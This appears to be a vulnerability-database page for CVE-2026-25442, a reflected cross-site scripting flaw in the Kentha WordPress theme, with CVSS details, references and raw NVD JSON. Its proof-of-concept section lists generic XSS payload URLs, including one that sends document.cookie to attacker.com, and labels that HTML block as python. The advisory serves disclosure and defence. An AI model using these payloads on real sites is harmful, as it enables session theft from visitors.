CVE-2026-25442

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QantumThemes Kentha kentha allows Reflected XSS.This issue affects Kentha: from n/a through <= 4.7.2.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Kentha Theme <= 4.7.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-25442 PoC - Reflected XSS in Kentha WordPress Theme -->
<!-- Target: Kentha Theme <= 4.7.2 -->
<!-- Payload: Reflected in page without sanitization -->

<!-- Basic XSS PoC -->
<!-- Replace SEARCH_PARAM with actual vulnerable parameter -->
https://target-site.com/?SEARCH_PARAM=<script>alert(document.domain)</script>

<!-- Image onerror XSS PoC -->
https://target-site.com/?SEARCH_PARAM=<img src=x onerror=this.src='https://attacker.com/steal?c='+document.cookie>

<!-- SVG XSS PoC -->
https://target-site.com/?SEARCH_PARAM=<svg onload=alert(document.cookie)>

<!-- Polyglot XSS PoC -->
https://target-site.com/?SEARCH_PARAM=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25442
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25442
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25442/
[4] VulDB https://vuldb.com/cve/CVE-2026-25442
[5] https://patchstack.com/database/Wordpress/Theme/kentha/vulnerability/wordpress-kentha-theme-4-7-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25442", "sourceIdentifier": "[email protected]", "published": "2026-03-19T09:16:17.290", "lastModified": "2026-04-23T15:37:10.400", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QantumThemes Kentha kentha allows Reflected XSS.This issue affects Kentha: from n/a through <= 4.7.2."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en QantumThemes Kentha permite XSS Reflejado. Este problema afecta a Kentha: desde n/a hasta 4.7.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/kentha/vulnerability/wordpress-kentha-theme-4-7-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}